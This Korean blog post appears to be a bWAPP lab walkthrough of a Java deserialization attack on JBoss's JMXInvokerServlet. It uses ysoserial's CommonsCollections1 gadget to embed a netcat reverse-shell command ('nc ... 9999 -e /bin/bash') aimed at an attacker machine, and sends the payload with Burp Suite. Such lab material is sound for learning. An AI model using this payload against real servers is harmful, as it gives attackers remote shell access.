자바 역직렬화 취약점 공격
자바 역직렬화 취약점은 OWASP Top 10 2017에서 새롭게 선정되었다.
자바 역직렬화 취약점은 공격자가 원격에서 코드를 실행할 수 있느 RCE(Remote Code Execution) 공격으로 이어지기 때문에 매우 심각한 영향을 줄 수 있는 취약점이다!!
자바 프로그램상에서 어떤 객체가 생성되면 그 객체는 메모리에 상주하게되고, 프로그램이 실행되는 동안 필요에 따라 사용된다. 하지만 프로그램이 종료되면 메모리에 있던 객체는 사라지게된다.
객체는 지금까지 프로그램이 사용하면서 저장한 데이터가 있는데, 그 데이터를 다음 번 프로그램 실행시에도 계속 사용하여야 한다면 메모리에 있는 객체와 데이터를 파일이나 DB에 저장해야 할 것이다. 이때 저장을 하기위해 객체를 바이트 스트림이라는 순차적인 데이터로 변환하는 과정을 거치는데 이것을 직렬화라고 한다. 역직렬화는 이와 반대로 저장되어 있는 바이트 스트림을 다시 객체로 만들어 원래의 데이터를 다시 불러오는 과정이다.
직렬화와 역직렬화를 할때 aced0005라는 매직 바이트가 있는데 이것은 이 문자열 뒤에 오는 데이터가 직렬화된 데이터라는것을 알려주는 바이트이다.
우선 직렬화된 데이터가 어떤 식으로 표시되는지 알아보기 위해 버프스위트를 실행해 놓고 다음 URL로 접속을 한다.
/invoker/JMXInvokerServlet
application/x-java-serialized-object 타입의 파일이 전송되어 다운로드 하는 창이 나온다. 이 타입을 통해 직렬화된 데이터가 전달되고 있다는 것을 알 수 있다.
filter by mime type에서 other binary 설정을 체그해야지 해당 요청을 히스토리에서 볼 수 있다.
메시지의 응답을 확인해 보면 바디에 HTML문이 아니라 이상한 문자열들이 나열되어 있다.
hex로 확인을 해 보도록 하겠다.
바디가 시작하는 부분, 즉 Connection: Close 헤더가 끝난 후 헥스 값을 보면 직렬화된 데이터임을 알려주는 패턴을 확인할 수 있다. 이를 통해 직렬화된 데이터가 전달되고 있는 것을 알 수 있다.
한편, 좀전에는 응답 메시지를 살펴보았지만, 동일한 /invocker/JMXInvokerServlet 경로에다가 직렬화된 데이터를 요청 메시지로 전송할 수도 있다. 이때 자바 역질렬화 취약점으로 인해 임의의 페이로드를 삽입하여 원하는 명령어를 실행할 수 있다.
자바 역직렬화 취약점 공격을 위해서는 ysoserial이라는 프로그램을 사용할 수 있다. ysoserial은 다음 주소 gibhub에 공개되어 있는 오픈소스이다.
https://github.com/frohoff/ysoserial
ysoserial 페이지의 첫 화면에는 프로그램의 설명과 함께 사용법, 예제, 설치 방법, 컴파일 방법이 표시되어 있다. 프로그램을 사용하기 위한 목적이라면 직접 컴파일 하지 않고 컴파일이 이미 완료된 jar 파일을 다운로드하여 바로 사용할 수 있다.
여기 들어가면 다운로드가 가능하다.
다운로드 완료를 하였다.
공격자 서버에서 포트 9999번을 리스닝으로 열었다.
여기로 접속하는 명령문을 삽입한 페이로드를 ysoserial로 생성하여 자바 역질렬화 취약점이 있는 JBoss /invoker/JMXInvokerServlet 경로로 보내면, 원격 호스트에서 공격자 서버로 접속하게 된다.
nc <kali 리눅스 ip> 9999 -e /bin/bash
이 명령문을 삽입한 공격 코드를 ysoserial을 이용하여 생성한다.
명령문
java -jar ysoserial-all.jar CommonsCollections1 "nc 192.168.60.137 9999 -e /bin/bash" > reverse.bin
CommonsCollections1은 페이로드의 한 종류로 JBoss 4.2.4.GA 버전을 공격하는 데 사용된다. 왜냐하면 JBoss 4.2.4.GA 이 포함하고 있는 CommonsCollections 패키지에 역직렬화 취약점이 있기 때문이다.
이렇게 생성한 페이로드 파일의 내용을 /invoker/JMXInvokerServlet URL로 전송한다.
Repeater를 사용한다.
마우스 우클릭 후 paste from file을 누른다.
공격 코드를 추가하였고 send 버튼을 누른다.
'WEB hacking > 비박스(bWAPP)' 카테고리의 다른 글
[비박스(bWAPP)] - PHP-CGI 취약점 공격(metasploit) (0) | 2022.11.14 |
---|---|
[비박스(bWAPP)] - 쉘쇼크 취약점 (1) | 2022.11.13 |
[비박스(bWAPP)] - 하트블리드 취약점 (0) | 2022.11.12 |
[비박스(bWAPP)] - XML External Entity Attacks(XXE) (0) | 2022.11.07 |
[비박스(bWAPP)] - Directory Traversal - Files (0) | 2022.11.04 |